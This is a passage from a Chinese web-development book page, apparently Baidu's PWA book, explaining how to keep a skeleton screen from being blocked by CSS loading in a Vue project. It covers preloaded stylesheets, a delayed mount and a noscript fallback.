punctuation\">&gt;</span></span></code>&#xFF0C;&#x8FD9;&#x65E0;&#x7591;&#x4F1A;&#x963B;&#x585E;&#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x6E32;&#x67D3;&#x3002;&#x6D4F;&#x89C8;&#x5668;&#x8FD8;&#x63D0;&#x4F9B;&#x4E86;&#x9884;&#x52A0;&#x8F7D;&#x673A;&#x5236;&#xFF0C;&#x4F7F;&#x7528;&#x65B9;&#x6CD5;&#x975E;&#x5E38;&#x7B80;&#x5355;&#xFF0C;&#x53EA;&#x9700;&#x5C06; <code>rel=&quot;stylesheet&quot;</code> &#x6539;&#x4E3A; <code>rel=&quot;preload&quot;</code>&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x5728;&#x7A7A;&#x95F2;&#x7684;&#x65F6;&#x5019;&#x52A0;&#x8F7D;&#x5E76;&#x7F13;&#x5B58;&#xFF0C;&#x4E4B;&#x540E;&#x518D;&#x4F7F;&#x7528;&#x5C31;&#x4E0D;&#x7528;&#x91CD;&#x590D;&#x52A0;&#x8F7D;&#x3002;</p>\n<p>&#x8FD9;&#x770B;&#x4F3C;&#x65E0;&#x5173;&#x7684;&#x6280;&#x672F;&#xFF0C;&#x5728;&#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x5E94;&#x7528;&#x91CC;&#x5C06;&#x8D77;&#x5230;&#x5F88;&#x5927;&#x7684;&#x4F5C;&#x7528;&#xFF0C;&#x56E0;&#x4E3A;<strong>&#x9884;&#x52A0;&#x8F7D;&#x7684;&#x8D44;&#x6E90;&#x4E0D;&#x4F1A;&#x963B;&#x585E;&#x6E32;&#x67D3;</strong>.</p>\n<p>&#x6211;&#x4EEC;&#x901A;&#x8FC7;&#x8FD9;&#x79CD;&#x65B9;&#x5F0F;&#x544A;&#x8BC9;&#x6D4F;&#x89C8;&#x5668;&#xFF0C;&#x5148;&#x4E0D;&#x8981;&#x7BA1; <code>app.xxx.css</code>&#xFF0C;&#x76F4;&#x63A5;&#x6E32;&#x67D3;&#x540E;&#x7EED;&#x5185;&#x5BB9;&#xFF0C;&#x5728; <code>app.xxx.css</code> &#x6587;&#x4EF6;&#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#x4E4B;&#x540E;&#xFF0C;&#x518D;&#x5C06;&#x5B83;&#x91CD;&#x65B0;&#x8BBE;&#x7F6E;&#x4E3A;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preload<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/static/css/app.5be76b7d213b43df9723e8ab15122efb.css<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">as</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>style<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">onload</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>this.onload=null;this.rel=&apos;stylesheet&apos;<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x65B9;&#x6CD5;&#x7684;&#x6838;&#x5FC3;&#x662F;&#x901A;&#x8FC7;&#x6539;&#x53D8; <code>rel</code> &#x8BA9;&#x6D4F;&#x89C8;&#x5668;&#x91CD;&#x65B0;&#x8BA4;&#x5B9A;&#x8FD9;&#x4E2A; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x662F;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#xFF0C;&#x8FD9;&#x6837;&#x65E2;&#x4E0D;&#x963B;&#x585E;&#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x6E32;&#x67D3;&#xFF0C;&#x4E5F;&#x80FD;&#x6B63;&#x5E38;&#x5E94;&#x7528;&#x5916;&#x94FE;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x3002;</p>\n<h3 id=\"&#x8FD9;&#x6837;&#x5C31;&#x5B8C;&#x4E86;&#x5417;&#xFF1F;\"><a name=\"&#x8FD9;&#x6837;&#x5C31;&#x5B8C;&#x4E86;&#x5417;&#xFF1F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8FD9;&#x6837;&#x5C31;&#x5B8C;&#x4E86;&#x5417;&#xFF1F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8FD9;&#x6837;&#x5C31;&#x5B8C;&#x4E86;&#x5417;&#xFF1F;\" class=\"plugin-anchor\" href=\"#&#x8FD9;&#x6837;&#x5C31;&#x5B8C;&#x4E86;&#x5417;&#xFF1F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8FD9;&#x6837;&#x5C31;&#x5B8C;&#x4E86;&#x5417;&#xFF1F;</h3>\n<p>&#x5982;&#x679C;&#x4E0D;&#x5C06; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E; <code>rel=&quot;stylesheet&quot;</code> &#x6539;&#x4E3A; <code>rel=&quot;preload&quot;</code>&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x6839;&#x636E;&#x8D44;&#x6E90;&#x7684;&#x4E66;&#x5199;&#x987A;&#x5E8F;&#x6765;&#x987A;&#x5E8F;&#x6267;&#x884C;&#xFF0C;&#x5373;&#x5148;&#x5E94;&#x7528;&#x5916;&#x94FE;&#x6837;&#x5F0F;&#xFF0C;&#x518D;&#x6267;&#x884C;&#x5916;&#x94FE; JavaScript &#x6587;&#x4EF6;&#x6E32;&#x67D3;&#x4E3B;&#x4F53;&#x5185;&#x5BB9;&#x3002;&#x4F46;&#x662F;&#x6839;&#x636E;&#x4E0A;&#x9762;&#x7684;&#x6B65;&#x9AA4;&#xFF0C;&#x6211;&#x4EEC;&#x4F7F;&#x7528;&#x9884;&#x52A0;&#x8F7D;&#x6765;&#x52A0;&#x8F7D;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#xFF0C;&#x8FD9;&#x6837;&#x505A;&#x7684;&#x7ED3;&#x679C;&#x5C31;&#x662F;&#x6211;&#x4EEC;&#x65E0;&#x6CD5;&#x4FDD;&#x8BC1;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x5148;&#x5E94;&#x7528;&#x6837;&#x5F0F;&#x518D;&#x8FD0;&#x884C; JavaScript &#x6E32;&#x67D3;&#x5185;&#x5BB9;&#xFF0C;&#x4E00;&#x65E6; JavaScript &#x5148;&#x6267;&#x884C;&#x5E76;&#x6E32;&#x67D3;&#x51FA;&#x4E86;&#x5185;&#x5BB9;&#xFF0C;&#x518D;&#x5E94;&#x7528;&#x5916;&#x94FE;&#x6837;&#x5F0F;&#xFF0C;&#x4F1A;&#x5BFC;&#x81F4;&#x9875;&#x9762;&#x91CD;&#x6392;&#x548C;&#x91CD;&#x7ED8;&#xFF0C;&#x7528;&#x6237;&#x4F1A;&#x5148;&#x770B;&#x5230;&#x6392;&#x7248;&#x5B8C;&#x5168;&#x662F;&#x4E71;&#x7684;&#x9875;&#x9762;&#xFF0C;&#x518D;&#x770B;&#x5230;&#x6B63;&#x5E38;&#x7684;&#x9875;&#x9762;&#xFF0C;&#x5BF9;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x662F;&#x4E0D;&#x5C0F;&#x7684;&#x4F24;&#x5BB3;&#x3002;</p>\n<p>&#x56E0;&#x6B64;&#xFF0C;&#x6211;&#x4EEC;&#x8FD8;&#x9700;&#x8981;&#x8003;&#x8651;&#x5230;&#x6587;&#x4EF6;&#x52A0;&#x8F7D;&#x987A;&#x5E8F;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x5728;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#x524D;&#xFF0C;&#x5373;&#x4F7F; JavaScript &#x5DF2;&#x7ECF;&#x6E32;&#x67D3;&#x597D;&#x4E86;&#x5185;&#x5BB9;&#xFF0C;&#x4E5F;&#x5148;&#x4E0D;&#x8981;&#x66FF;&#x6362;&#x6389;&#x9AA8;&#x67B6;&#x5C4F;&#xFF0C;&#x7B49;&#x5F85;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#x540E;&#xFF0C;&#x518D;&#x89E6;&#x53D1; JavaScript &#x8FDB;&#x884C;&#x6302;&#x8F7D;&#x3002;</p>\n<p>&#x5728; Vue &#x7684;&#x9879;&#x76EE;&#x4E2D;&#x9700;&#x8981;&#x4FEE;&#x6539; <code>src/main.js</code> &#x548C; <code>index.html</code> &#x6587;&#x4EF6;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token comment\">// src/main.js</span>\n<span class=\"token keyword\">const</span> app <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Vue</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  router<span class=\"token punctuation\">,</span>\n  components<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span> App <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  template<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&lt;App/&gt;&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">/**\n * &#x6302;&#x8F7D; Vue &#x6E32;&#x67D3;&#x597D;&#x7684; HTML &#x5143;&#x7D20;&#x5230; #app &#x4E2D;&#xFF0C;&#x66FF;&#x6362;&#x6389;&#x9AA8;&#x67B6;&#x5C4F;\n */</span>\nwindow<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">mount</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  app<span class=\"token punctuation\">.</span><span class=\"token function\">$mount</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;#app&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token comment\">&lt;!-- index.html --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preload<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/static/css/app.5be76b7d213b43df9723e8ab15122efb.css<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">as</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>style<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">onload</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>this.onload=null;this.rel=&apos;stylesheet&apos;;window.mount()<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#x5C31;&#x597D;&#x4E86;&#x5417;&#xFF1F;</p>\n<p>&#x8FD8;&#x4E0D;&#x591F;&#x5B8C;&#x5584;&#xFF0C;&#x5982;&#x679C;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x5728; JavaScript &#x6587;&#x4EF6;&#x4E4B;&#x524D;&#x52A0;&#x8F7D;&#xFF0C;&#x90A3;&#x4E48; <code>mount</code> &#x51FD;&#x6570;&#x8FD8;&#x6CA1;&#x6709;&#x58F0;&#x660E;&#xFF0C;&#x6267;&#x884C;&#x4F1A;&#x51FA;&#x9519;&#xFF0C;&#x6700;&#x7EC8;&#x4E5F;&#x5BFC;&#x81F4;&#x4E3B;&#x4F53;&#x5185;&#x5BB9;&#x6CA1;&#x6709;&#x6E32;&#x67D3;&#x5230;&#x9875;&#x9762;&#x4E0A;&#x3002;&#x8FD8;&#x9700;&#x8981;&#x5B8C;&#x5584;&#xFF0C;&#x589E;&#x52A0;&#x4E00;&#x4E2A;&#x6807;&#x8BB0;&#x544A;&#x8BC9; JavaScript &#x6837;&#x5F0F;&#x662F;&#x5426;&#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#xFF0C;&#x7ECF;&#x8FC7;&#x6539;&#x9020;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#xFF0C;&#x540C;&#x6837;&#x8FD8;&#x662F; <code>src/main.js</code> &#x548C; <code>index.html</code> &#x6587;&#x4EF6;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token comment\">// src/main.js</span>\n<span class=\"token keyword\">const</span> app <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Vue</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n  router<span class=\"token punctuation\">,</span>\n  components<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span> App <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n  template<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&lt;App/&gt;&apos;</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">/**\n * &#x6302;&#x8F7D; Vue &#x6E32;&#x67D3;&#x597D;&#x7684; HTML &#x5143;&#x7D20;&#x5230; #app &#x4E2D;&#xFF0C;&#x66FF;&#x6362;&#x6389;&#x9AA8;&#x67B6;&#x5C4F;\n */</span>\nwindow<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">mount</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  app<span class=\"token punctuation\">.</span><span class=\"token function\">$mount</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;#app&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\">// &#x5982;&#x679C;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x5DF2;&#x7ECF;&#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#x4E86;&#xFF0C;&#x76F4;&#x63A5;&#x6302;&#x8F7D;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>window<span class=\"token punctuation\">.</span><span class=\"token constant\">STYLE_READY</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  window<span class=\"token punctuation\">.</span><span class=\"token function\">mount</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token comment\">&lt;!-- index.html --&gt;</span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preload<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/static/css/app.5be76b7d213b43df9723e8ab15122efb.css<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">as</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>style<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">onload</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>this.onload=null;this.rel=&apos;stylesheet&apos;;window.STYLE_READY=1;window.mount&amp;&amp;window.mount();<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x8003;&#x8651;&#x5230;&#x6D4F;&#x89C8;&#x5668;&#x4E0D;&#x652F;&#x6301; JavaScript &#x7684;&#x60C5;&#x51B5;&#xFF0C;&#x90A3;&#x4E48;&#x8FD8;&#x9700;&#x8981;&#x589E;&#x52A0;&#x4E00;&#x4E2A; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>noscript</span><span class=\"token punctuation\">&gt;</span></span></code> &#x6807;&#x7B7E;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>preload<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/static/css/app.5be76b7d213b43df9723e8ab15122efb.css<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">as</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>style<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">onload</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>this.onload=null;this.rel=&apos;stylesheet&apos;;window.STYLE_READY=1;window.mount&amp;&amp;window.mount();<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>noscript</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>/static/css/app.5be76b7d213b43df9723e8ab15122efb.css<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>stylesheet<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>noscript</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x7ECF;&#x8FC7;&#x8FD9;&#x756A;&#x6539;&#x9020;&#x4E4B;&#x540E;&#xFF0C;&#x6211;&#x4EEC;&#x518D;&#x6765;&#x770B;&#x4E00;&#x4E0B;&#x5728; Chrome &#x4E2D;&#x7684;&#x8868;&#x73B0;&#xFF0C;&#x8FD9;&#x4E2A;&#x793A;&#x4F8B;&#x662F;&#x5728; Fast 3G &#x7F51;&#x7EDC;&#x73AF;&#x5883;&#x4E0B;&#x5C55;&#x73B0;&#x7684;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;&#x9AA8;&#x67B6;&#x5C4F;&#x5728; 650ms &#x5DE6;&#x53F3;&#x7684;&#x65F6;&#x523B;&#x6E32;&#x67D3;&#x5B8C;&#x6210;&#xFF0C;&#x800C;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x662F;&#x5728; 1200ms &#x5DE6;&#x53F3;&#x624D;&#x52A0;&#x8F7D;&#x5B8C;&#x6210;&#xFF0C;&#x6CA1;&#x6709;&#x963B;&#x585E;&#x9AA8;&#x67B6;&#x5C4F;&#x7684;&#x6E32;&#x67D3;&#xFF0C;&#x7B26;&#x5408;&#x671F;&#x671B;&#x3002;</p>\n<p><img src=\"img/appskeleton_performance_after.png\" alt=\"&#x9AA8;&#x67B6;&#x5C4F;&#x6E32;&#x67D3;&#x6CA1;&#x6709;&#x88AB;&#x6837;&#x5F0F;&#x6587;&#x4EF6;&#x52A0;&#x8F7D;&#x963B;&#x585E;\"></p>\n<h3 id=\"&#x5982;&#x4F55;&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;\"><a name=\"&#x5982;&#x4F55;&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5982;&#x4F55;&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5982;&#x4F55;&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;\" class=\"plugin-anchor\" href=\"#&#x5982;&#x4F55;&#x5728;-vue-&#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5982;&#x4F55;&#x5728; Vue &#x9879;&#x76EE;&#x4E2D;&#x4F7F;&#x7528;&#x9AA8;&#x67B6;&#x5C4F;</h3>\n<p>&#x5982;&#x679C;&#x8BA9;&#x5F00;&#x53D1;&#x8005;&#x5728; Vue + Webpack &#x9879;&#x76EE;&#x4E2D;&#x8FDB;&#x884C;&#x4E0A;&#x9762;&#x7684;&#x6539;&#x5199;&#xFF0C;&#x4EE3;&#x4EF7;&#x662F;&#x6BD4;&#x8F83;&#x9AD8;&#x7684;&#xFF0C;&#x4E3A;&#x6B64;&#xFF0C;&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;&#x5199;&#x4E86;&#x4E00;&#x4E2A; Webpack &#x63D2;&#x4EF6;&#xFF0C;<a href=\"https://github.com/lavas-project/vue-skeleton-webpack-plugin\" target=\"_blank\">vue-skeleton-webpack-plugin</a>&#x3002;</p>\n<h2 id=\"&#x603B;&#x7ED3;\"><a name=\"&#x603B;&#x7ED3;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x603B;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x603B;&#x7ED3;\" class=\"plugin-anchor\" href=\"#&#x603B;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x603B;&#x7ED3;</h2>\n<p>&#x9AA8;&#x67B6;&#x5C4F;&#x4ECE;&#x4F18;&#x5316;&#x5173;&#x952E;&#x6E32;&#x67D3;&#x8DEF;&#x5F84;&#x601D;&#x8DEF;&#x51FA;&#x53D1;&#xFF0C;&#x914D;&#x5408; App Shell &#x548C; Service Worker &#x7B49;&#x6280;&#x672F;&#xFF0C;&#x8FDB;&#x4E00;&#x6B65;&#x4F18;&#x5316;&#x9875;&#x9762;&#x5728;&#x52A0;&#x8F7D;&#x9636;&#x6BB5;&#x7684;&#x611F;&#x77E5;&#x4F53;&#x9A8C;&#x3002;&#x901A;&#x8FC7;&#x672C;&#x8282;&#x5B66;&#x4E60;&#x793A;&#x4F8B;&#xFF0C;&#x6211;&#x4EEC;&#x770B;&#x5230;&#x914D;&#x5408; Vue/Webpack &#x7B49;&#x4E00;&#x7CFB;&#x5217;&#x6280;&#x672F;&#xFF0C;&#x4E3A;&#x5E94;&#x7528;&#x6DFB;&#x52A0;&#x9AA8;&#x67B6;&#x5C4F;&#x53EF;&#x4EE5;&#x53D8;&#x5F97;&#x66F4;&#x52A0;&#x7B80;&#x5355;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"3-app-shell.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 2.3 App Shell\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"5-responsive-design.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 2.5 响应式布局\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"2.4 骨架屏\",\"level\":\"1.3.4\",\"depth\":2,\"next\":{\"title\":\"2.5 响应式布局\",\"level\":\"1.3.5\",\"depth\":2,\"path\":\"chapter02/5-responsive-design.md\",\"ref\":\"chapter02/5-responsive-design.md\",\"articles\":[]},\"previous\":{\"title\":\"2.3 App Shell\",\"level\":\"1.3.3\",\"depth\":2,\"path\":\"chapter02/3-app-shell.md\",\"ref\":\"chapter02/3-app-shell.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD 